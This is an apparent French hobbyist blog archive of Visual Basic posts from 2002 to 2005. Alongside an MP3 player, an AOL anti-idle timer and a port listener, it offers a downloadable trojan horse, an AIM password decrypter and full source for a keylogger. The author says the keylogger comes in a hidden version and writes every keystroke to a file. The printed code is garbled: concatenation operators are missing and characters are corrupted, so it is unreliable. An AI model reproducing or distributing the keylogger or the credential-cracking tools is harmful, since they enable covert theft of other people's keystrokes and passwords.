Archive pour la catégorie ‘Visual Basic’

Frameworks vs CMS

Vendredi 12 août 2005

PHP Solutions – Frameworks vs CMS

Bientôt en vente !
Dans le num?ro vous trouverez entre autres :

» Seagull
» eZpublish
» PRADO
» Uml -> PHP5
» Propel
» S?curit? des application PHP
» Slony-I – r?plication de la base de donn?es

À LA UNE :

+ 5 livres gratuits sur le CD
+ en exclusivit? pour les lecteurs de PHP Solutions :

Les versions complètes de :
» TruStudio
» phpED (version limit?e à 180 jours)
» MagumaWorkebench

Site Web
www.phpsolmag.org/fr

Photo de couverture

Publié dans Visual Basic | Aucun commentaire »

Petit Cheval de troie en Visual Basic :)

Samedi 13 avril 2002

Voici un petit cheval de troie avec ses sources :)
Il a plusieurs fonctions a savoir :
Fermeture de la fenetre courante
Lancer un programme quelquonque
Liste les taches actives
envoi de message (msgbox)
Lancer un site web
et encore une bonne dizaine d’autre truc !

> pour le telecharger <

Publié dans Visual Basic | Aucun commentaire »

Player MP3 avec Source VB

Samedi 30 mars 2002

Ce player de MP3 est extremement basique il permet d’ecouter et de lire les tags des fichiers mp3 . Pour voir la tete du projet ou le telcharger cliquer sur « Suite … »

Cliquez sur l’image pour telecharger le projet avec les sources !! :)

Publié dans Visual Basic | 1 commentaire »

Programme invisible, Killer de certaine fenetre

Samedi 30 mars 2002

Ce programme (f? par moi :) ) vous permettra de fermer certaines fenetres, apres avoir rempli une liste de mots interdits (ex : chat, sex …), ceci seront rechercher dans les titres des fenetres et si un titre correspond a un des mots la fenetre sera fermer purement et simplement .
Ce programme peut donc par exemple servir de protection parentale ou bien servir a eviter les chats .

DOWNLOAD Source EXE

Vous devez posseder les fichiers requis pour un executable VB5

Publié dans Visual Basic | Aucun commentaire »

Key Logger

Samedi 30 mars 2002

Ceci est un petit keylogger, il enregistre toutes les touches tap?es dans un fichier, j’ai fait 2 versions une visible et l’autre pas .

Zip DISPO dans la partie download avec les sources !!

LE ZIPP

‘il faut un bouton command1 et une text box (text1) et 2 timer

Private Declare Function GetAsyncKeyState Lib _
« user32″ (ByVal uAction As Long) As Long

Private Sub Command1_Click()
a = FreeFile
Txt = Text1.Text
Open « c:logkeyB.txt » For Append As a
Print #a, Txt
Close a
End Sub

Private Sub Form_Unload(Cancel As Integer)
a = FreeFile
Txt = Text1.Text
Open « c:logkeyB.txt » For Append As a
Print #a, Txt
Close a
End Sub

Private Sub Timer1_Timer()
a = FreeFile
Txt = Text1.Text
Open « c:logkeyB.txt » For Append As a
Print #a, Txt
Close a
Text1.Text = «  »
End Sub

Private Sub Timer2_Timer(Index As Integer)
Select Case Index
Case 0
Retour = GetAsyncKeyState(32)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text  » « 
End If
Case 1
Retour = GetAsyncKeyState(64)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « @ »
End If
Case 2
Retour = GetAsyncKeyState(65)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « a »
End If
Case 3
Retour = GetAsyncKeyState(66)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « b »
End If
Case 4
Retour = GetAsyncKeyState(67)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « c »
End If
Case 5
Retour = GetAsyncKeyState(68)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « d »
End If
Case 6
Retour = GetAsyncKeyState(69)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « e »
End If
Case 7
Retour = GetAsyncKeyState(70)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « f »
End If
Case 8
Retour = GetAsyncKeyState(71)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « g »
End If
Case 9
Retour = GetAsyncKeyState(72)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « h »
End If
Case 10
Retour = GetAsyncKeyState(73)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « i »
End If
Case 11
Retour = GetAsyncKeyState(74)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « j »
End If
Case 12
Retour = GetAsyncKeyState(75)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « k »
End If
Case 13
Retour = GetAsyncKeyState(76)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « l »
End If
Case 14
Retour = GetAsyncKeyState(77)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « m »
End If
Case 15
Retour = GetAsyncKeyState(78)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « n »
End If
Case 16
Retour = GetAsyncKeyState(79)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « o »
End If
Case 17
Retour = GetAsyncKeyState(80)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « p »
End If
Case 18
Retour = GetAsyncKeyState(81)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « q »
End If
Case 19
Retour = GetAsyncKeyState(82)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « r »
End If
Case 20
Retour = GetAsyncKeyState(83)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « s »
End If
Case 21
Retour = GetAsyncKeyState(84)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « t »
End If
Case 22
Retour = GetAsyncKeyState(85)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « u »
End If
Case 23
Retour = GetAsyncKeyState(86)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « v »
End If
Case 24
Retour = GetAsyncKeyState(87)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « w »
End If
Case 25
Retour = GetAsyncKeyState(88)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « x »
End If
Case 26
Retour = GetAsyncKeyState(89)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « y »
End If
Case 27
Retour = GetAsyncKeyState(90)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « z »
End If
Case 28
Retour = GetAsyncKeyState(13)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text vbCrLf
End If
Case 29
Retour = GetAsyncKeyState(127)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text Chr$(127)
End If
Case 30
Retour = GetAsyncKeyState(8)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text Chr$(8)
End If
Case 31
Retour = GetAsyncKeyState(9)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text Chr$(9)
End If
Case 32
Retour = GetAsyncKeyState(10)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text Chr$(10)
End If
Case 33
Retour = GetAsyncKeyState(46)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « . »
End If
Case 34
Retour = GetAsyncKeyState(49)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 1″
End If
Case 35
Retour = GetAsyncKeyState(48)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 0″
End If
Case 36
Retour = GetAsyncKeyState(50)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 2″
End If
Case 37
Retour = GetAsyncKeyState(51)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 3″
End If
Case 38
Retour = GetAsyncKeyState(52)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 4″
End If
Case 39
Retour = GetAsyncKeyState(53)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 5″
End If
Case 40
Retour = GetAsyncKeyState(54)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 6″
End If
Case 41
Retour = GetAsyncKeyState(55)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 7″
End If
Case 42
Retour = GetAsyncKeyState(56)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 8″
End If
Case 43
Retour = GetAsyncKeyState(57)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « 9″
End If
Case 44
Retour = GetAsyncKeyState(47)
If (Retour And 32768) <> 0 Then
Text1.Text = Text1.Text « / »
End If
End Select
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub

Publié dans Visual Basic | Aucun commentaire »

Anti Timer AOL

Samedi 30 mars 2002

Ce programme etait utilis? pour permettre d’appuyer sur entrer toutes les N secondes . Ca permettait de pouvoir telecharger sans se faire deconnecter :)

LE ZIP

‘au tt debut tu cree des objets (5 bouton bouton pareil mais avec indice different (bouton ON, OFF, HELP et QUITTERet un timer)

‘ici c’est les 5 boutons definit par le meme nom
‘mais par un indice
‘different (d’ou une variable index 0,1,2,3,4)

Private Sub Command1_Click(Index As Integer)
‘je lui demande de selectionner le cas de chaque
’bouton si tu clik sur le bouton
‘0 le timer va se mettre sur TRUE et va donc se
‘lancer (boutoon ON)
‘1 le timer se met sur false , il s’arrete (off)
‘2 unload me veux dire en anglais ?? decharger
‘moi , ca c’est pour arreter le prog (bouton
‘ arreter si t’as pas compris!)(quitter)
‘3 lui il affiche une message box avec le texte entre
‘ les guillemet (BOUTON HELP
‘4 c’est pareil
Select Case Index
Case Is = 0
Timer1.Enabled = True
Case Is = 1
Timer1.Enabled = False
Case Is = 2
Unload Me
Case Is = 3
MsgBox « Programmer par Belette « , vbInformation, « Information »
Case Is = 4
MsgBox « Il faut que la fenetre AOL soit active . », vbQuestion, « Fonctionnement »
End Select
End Sub

‘ le form load c’est ce qu’il charge quand il
‘demarre ! je met le timer sur faux paske
’sinon le bouton ON sert a rien
Private Sub Form_Load()

Timer1.Enabled = False
End Sub

‘le timer me permet d’avoir une duree de temps
Private Sub Timer1_Timer()
‘ici je lui demande de clicker sur enter lorsque le timer ce met en marche
SendKeys « {ENTER} »
End Sub

‘au tt debut tu cree des objet (5 bouton et un timer)

Publié dans Visual Basic | 12 commentaires »

Ajout de 2 Downloads

Samedi 30 mars 2002

Ajout d’un ecouteur de port et d’un decrypteur de pass AIM (AOL INSTANT MESSENGER)

Publié dans Visual Basic | Aucun commentaire »

Un ecouteur de port pour VB :)

Samedi 30 mars 2002

Voila un petit ecouteur de port qui permet de selectionner un port pour ecoute , et ensuite d’attendre une connexion, lorsque la connexion est etablit on peut envoyer du texte, et on peut voir les donner envoyer par le remote side .

LE ZIPPPPPP

‘ Ajouter 2 bouton command1 et command2
‘ un objet winsock (winsock1)
‘ 3 label (de label1,label2, label3)
‘ 5 text box (Text1 -> Text5)
‘ un timer (Timer1)

Dim c As Boolean
Private Sub Command1_Click()
Winsock1.Close
Winsock1.LocalPort = Text1.Text
Winsock1.Listen
Label3.Caption = « ecoute »
End Sub

Private Sub Command2_Click()
Dim txt
txt = Text2.Text
Winsock1.SendData txt
End Sub

Private Sub Timer1_Timer()
Winsock1.Close: Winsock1.Listen: c = False

End Sub

Private Sub Winsock1_Close()
Label3.Caption = « ecoute »
If c = False Then c = True
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData Chr(13) « OK »
Label3.Caption = « COnnect? »
Text4.Text = Winsock1.RemoteHostIP
Text5.Text = Winsock1.RemoteHost
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dat As String
Winsock1.GetData dat
Text3.Text = Text3.Text dat
End Sub

‘ Pour plus d’info voir le zip

Publié dans Visual Basic | 14 commentaires »